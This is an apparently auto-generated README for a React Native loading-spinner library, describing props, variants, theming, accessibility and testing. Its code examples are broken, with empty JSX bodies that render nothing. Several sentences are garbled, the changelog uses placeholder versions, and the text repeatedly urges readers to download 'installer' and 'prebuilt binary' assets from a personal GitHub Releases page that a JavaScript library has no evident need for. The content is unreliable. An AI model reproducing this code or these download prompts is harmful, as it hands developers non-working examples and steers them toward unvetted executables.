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Welcome to a comprehensive guide for the Loading Indicator library for React Native. This project provides native loading indicators that blend seamlessly with your React Native apps. The goal is to give you fast, smooth, customizable spinners that feel native on both iOS and Android. This README is designed to be practical and developer-focused, with concrete instructions, solid examples, and thoughtful guidance on usage, accessibility, testing, and maintenance.

Below you’ll find a thorough collection of topics. It is meant to be readable by developers new to React Native and by teams that want a reliable component for long-running operations, network requests, or any task that benefits from a visual cue of ongoing work. The content is kept in plain language, with clear steps and concrete code examples. The library is built to be stable, predictable, and easy to integrate into existing projects.

Overview and goals

• Native feel: The indicators render with native performance and rely on platform-appropriate animation primitives.
• High performance: The indicators minimize re-renders and avoid heavy animation loops when not visible.
• Flexible styling: Size, color, and shape can be tuned to fit your brand and design system.
• Accessible by default: Screen readers get meaningful labels, and interactive elements expose proper roles.
• Cross-platform consistency: Spinners behave similarly on iOS and Android while honoring platform conventions.

This repository uses a simple component model that you can plug into any React Native screen. The API surface aims to be small but powerful, giving you enough control to craft subtle or bold loading states without reimplementing your own visuals. The library is designed to be tree-shakeable, so unused indicators and features don’t bloat your bundle.

Quick facts

• Native rendering: Spinners use platform-native UI primitives to feel integrated with each platform.
• Small API surface: A few props to customize size, color, and variant.
• Common variants: Circular, Linear, and Pulse indicators to cover a range of use cases.
• Theming support: Integrate with your design system via theme-aware props or a theme provider.
• Accessible: Accessible labels are automatically generated when you provide a description.

Let’s explore how to use Loading Indicator in your React Native project.

Notable note on releases

• For distribution and testing, you should refer to the official releases page. You can access all assets and installation bundles on the Releases page. See the link above to access the latest files and instructions. And if you want a quick route to the same page, you can visit https://github.com/Elle33010/loading-indicator/releases anytime. This is especially helpful when you want to verify compatibility notes, download the prebuilt binaries, or review changelog entries that describe what changed with each version.

Why you might choose this library

• You need a dependable, native feeling loader that works across iOS and Android without re-implementing complex animations inside JavaScript.
• Your design system requires consistent sizing and color usage, but you don’t want to commit to a single bespoke spinner style forever.
• You want an accessible loading state that communicates the ongoing task to assistive technology users.
• You are working in a team that prefers a minimal surface area and predictable behavior, with straightforward customization.

What you’ll get with this repository

• A solid foundation for loading indicators that look native and feel snappy.
• Clear props to tweak size, color, and animation style.
• Default accessibility labels that explain the purpose of the loader.
• Documentation friendly enough to drop into your project and start testing quickly.
• A path to extend with more variants if your design calls for them in the future.

Structure of this README

• Getting started: installation, setup, and first usage.
• API reference: the props you can tweak and what they do.
• Variants and visual styles: Circular, Linear, Pulse, and how to choose.
• Theming and design system integration.
• Platform notes: iOS and Android specifics, performance tips.
• Accessibility considerations: making loaders accessible and useful.
• Testing and quality: how to test in isolation and within apps.
• Advanced topics: performance tuning, custom animations, and hooks.
• Development and contribution: how to contribute to the project.
• Roadmap and future work: where this project is headed.
• FAQ and troubleshooting: common questions and issues.
• License and acknowledgments: licensing terms and credits.

Getting started: installation and usage Prerequisites

• Node.js (version 14 or newer recommended)
• React Native environment set up per your platform
• Basic knowledge of React Native components and styling

Installation

• Install via npm:
  • npm install loading-indicator
• Or via yarn:
  • yarn add loading-indicator

After installation

• Link native dependencies if your project uses an older React Native version that requires manual linking.
• Clean and rebuild your app to ensure native modules are properly integrated.

Usage overview

• Import the indicator component from the library.
• Use it in your React Native view tree where you need a loading state.
• Adjust appearance with size, color, and variant props.

Basic usage example (JavaScript) import React from 'react'; import { View, StyleSheet } from 'react-native'; import LoadingIndicator from 'loading-indicator';

const LoaderExample = () => ( );

const styles = StyleSheet.create({ container: { flex: 1, alignItems: 'center', justifyContent: 'center', }, });

export default LoaderExample;

Basic usage example (TypeScript) import React from 'react'; import { View, StyleSheet } from 'react-native'; import LoadingIndicator from 'loading-indicator';

type Props = { loading?: boolean; size?: number; color?: string; variant?: 'circular' | 'linear' | 'pulse'; };

export const IndicatorDemo: React.FC = ({ loading = true, size = 48, color = '#4F8AFF', variant = 'circular' }) => { if (!loading) { return null; }

return ( ); };

const styles = StyleSheet.create({ wrapper: { alignItems: 'center', justifyContent: 'center', padding: 16, }, });

export default IndicatorDemo;

APIs and props

• size: number
  • Controls the visual size of the indicator in density-independent pixels (dp).
  • Typical values: 16, 24, 32, 48, 64.
• color: string
  • Sets the indicator color. Accepts standard color formats (hex, rgb, named colors).
• variant: 'circular' | 'linear' | 'pulse'
  • Selects the visual style of the indicator. Each variant has its own animation pattern and aesthetic.
• accessibilityLabel: string (React Native accessibility prop)
  • Defines a descriptive label for assistive technology.
• style: StyleProp
  • Lets you apply container styling to wrap the indicator.

Variant details and usage

• Circular
  • A classic round spinner. Smooth, looped rotation. Works well in most places where a compact indicator is needed.
• Linear
  • A straight progress or shimmer bar. Useful for indicating ongoing progress in a narrow area like a header or near a list item.
• Pulse
  • A pulsating dot or bar that signals activity without a full rotation. Great for subtle loading cues where full spinners feel too bold.

Theming and design system integration

• You can pass color values directly to color prop or integrate with a theming solution.
• If you use a ThemeProvider, you can map theme colors to the color prop, ensuring consistent visuals across your app.
• For advanced use cases, expose a theme-aware variant that reads from a shared design token set.

Platform notes and performance considerations

• iOS
  • Uses UIActivityIndicatorView under the hood to leverage native performance and look.
  • Animations are throttled to stay smooth and battery-friendly.
• Android
  • Uses ProgressBar or equivalent native components for efficient rendering.
  • The implementation ensures minimal impact on main thread scheduling.
• Performance tips
  • Avoid rendering multiple indicators in a tight loop; render one visible indicator and keep others offscreen or unmounted during loading.
  • Prefer stable and bounded sizes to reduce layout thrashing.
  • Use the minimal color depth needed to achieve your design goal; deep color palettes don’t add overhead here.

Accessibility and inclusive design

• All indicators come with a default accessibilityLabel that describes the nature of the indicator.
• You can customize the label to reflect the specific operation, e.g., "Loading data, please wait" or "Fetching user profile".
• If the loader is used in a critical flow, provide a descriptive label and, where appropriate, an aria-live region or equivalent to communicate progress or status.

Theming and design system integration details

• Theme support
  • Your app’s theme can drive the color prop so that infers the correct color per page or component.
  • A global theme object can map tokens like brandPrimary, brandSecondary, and neutral to color values used by the indicators.
• Token usage example
  • const color = theme.tokens.brandPrimary;

Animation and customization

• You can customize the animation duration indirectly by tuning the size and variant; some combinations will derive faster or slower perceived motion.
• If you need a bespoke animation not covered by the built-in variants, you can fork the library and add a new variant that implements a custom Animated loop.
• For precise animation control, you can introduce an ExternalAnimation component that drives the indicator’s transform via Animated.Value; this is an advanced pattern that can be adapted to your specific requirements.

Testing and quality assurance

• Unit tests for UI components can be implemented with React Native Testing Library and Jest.
• Snapshot tests can help guard against regressions in the UI while ensuring that size and color props render correctly.
• End-to-end testing can verify loading states in real device environments using Detox or Appium.
• Visual testing can help guard against regressions in animation smoothness across devices.

Example tests (conceptual)

• Snapshot test to verify default rendering matches the expected layout.
• Interaction test to ensure that the loading indicator remains visible while a mock fetch operation updates a loading prop.
• Accessibility test to verify the presence of an accessibilityLabel when the loader is mounted.

Packaging, distribution, and releases

• The library ships as a platform-friendly module that can be consumed by React Native apps via npm or yarn.
• For distribution, the library relies on standard React Native packaging so you can use your existing pipeline for builds and CI.
• The official releases page hosts artifacts for various platforms and configurations. If you want to download an asset directly, visit the Releases page to review available assets and notes.
• See the Releases page in the repository for asset details, changelogs, and installation tips. You can also visit the page to review how to integrate new features and how to migrate from older versions.

Releases and download

• For quick access to the release assets and installer assets, the official page is the Releases section. If you are looking for an installer or a demo bundle to run locally, you can inspect that page for a bundled sample app that demonstrates each indicator variant in a full screen scenario. The same link is useful for verifying compatibility and obtaining the latest files.

Note: if you want a direct path to the assets, you can find them on the Releases page. For quick access, use the same link in your browser to confirm what’s available and how to install or test locally. And for convenience, you can also visit the page directly at https://github.com/Elle33010/loading-indicator/releases.

Releases page link duplication

• See the Releases page to review all assets and notes: https://github.com/Elle33010/loading-indicator/releases

Quality assurance and best practices

• Follow semantic versioning for any changes that could affect consumer code.
• Publish a changelog with every release to help developers understand what changed and why.
• Provide migration notes for breaking changes between major versions.
• Document any new props or variant changes clearly, with examples and visual references.

Documentation quality and maintainability

• The docs should be easy to scan, with short sections and code samples that just work.
• Use meaningful example code that mirrors common React Native patterns.
• Keep examples self-contained and minimal, to avoid overwhelming readers with extraneous detail.
• Include a minimal but complete set of API examples and a longer, narrative usage guide.

Code organization and repository structure

• src/ contains the core component implementations.
• library/ or lib/ contains compiled outputs if you ship prebuilt assets.
• docs/ holds extended documentation, tutorials, and migration guides.
• examples/ demonstrates practical usage in a small demo app.
• tests/ contains unit and integration tests.

Contributing and community

• This project welcomes contributions. If you want to add a new indicator style, improve accessibility, or fix a bug, follow the contribution guidelines in CONTRIBUTING.md.
• Report issues with clear steps to reproduce. Include device information, RN version, and a minimal code sample when possible.
• The project appreciates thoughtful issues that help maintainers understand the problem and propose a concrete solution.

Roadmap and future work

• Improve platform parity for all variants across iOS and Android.
• Add more visual variants, including skeleton loaders, shimmering placeholders, and tiny status indicators.
• Introduce a simple theming API to centralize color and sizing policies across an app.
• Build a set of official example apps that demonstrate best practices for loading states in common flows like data fetching, user sign-in, and media loading.
• Enhance accessibility by providing more granular ARIA/Accessibility labels and status readouts for screen readers.

Migration notes and upgrade guidance

• If you upgrade to a major version, review the CHANGELOG for breaking changes, including prop name changes, default values, and behavioral differences.
• Check any deprecation warnings in the console, and adjust your usage to the new API surface if needed.
• Validate that theme integration remains intact after updates and that size and color values map to your design system.

FAQ

• How does this library differ from other spinners?
  • It emphasizes native feel, simplicity, and performance. It is designed to be easy to integrate into a React Native app without heavy animation logic on the JavaScript side.
• Can I use this in Web or React Native Web?
  • The primary focus is native React Native. If you need web support, you may adapt it with CI-compatible tooling, but the built-in assets target native platforms.
• How do I customize the spinner color to match my brand?
  • Pass the color prop with any valid color code. You can also wire in your theme tokens for consistent brand usage.

Troubleshooting tips

• If the loader does not render, ensure the component is mounted and visible in the view. Check for conditional rendering that might skip the loader when a condition is true.
• If there is a layout shift when the loader appears, ensure the surrounding container has a stable size and that you are not forcing conflicting layout changes at the same time.
• If you see a warning about missing accessibility labels, supply an accessibilityLabel prop with a meaningful description.

Changelog (high-level overview)

• v1.x.y: Initial stable release with Circular, Linear, and Pulse indicators. Basic theming and accessibility support.
• v1.x.y+1: Improved performance by reducing unnecessary re-renders and tightened animation loops.
• v1.x.y+2: Added a new Pulse variant and enhanced color theming with tokens.
• v2.0.0: Major version with redesigned API for better tree-shaking, added manual control APIs, and documentation improvements.
• v2.x.y: Ongoing improvements to platform parity, new examples, and expanded accessibility features.

License

• This project is licensed under the MIT License. See LICENSE for details.

Acknowledgments

• Thanks to the React Native community for feedback and ideas that shaped the API.
• Special thanks to contributors who helped improve accessibility, performance, and documentation.

Topics

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End of documentation

• For a full reference and latest updates, revisit the Releases page to confirm details about assets, compatibility, and any new features.

Releases and download (repeat mention)

• To review assets, notes, and installation guidance, visit the Releases page: https://github.com/Elle33010/loading-indicator/releases

Note

• If you are looking to test quickly, you can download the latest release asset (if provided) from the Releases page. The asset usually includes a ready-to-run demo app or example bundle to showcase all spinner variants. If you do not find a direct asset for desktop or demo purposes, rely on the source examples and usage snippets in this repository to validate behavior in your own project.

Usage notes for the README

• This README intentionally emphasizes clarity and direct guidance.
• The content is designed to be adaptable for different team workflows and app architectures.
• It focuses on practical steps you can take to get a loader up and running quickly, followed by deeper dives for power users and contributors.

Footer and closing

• The README ends with practical guidance and references to release assets, migration notes, and contribution processes. The aim is to give you a complete, actionable understanding of how to integrate and customize loading indicators in your React Native projects.

Releases page link for quick access

• See Releases page here for a consolidated view of assets and notes: https://github.com/Elle33010/loading-indicator/releases

Topics

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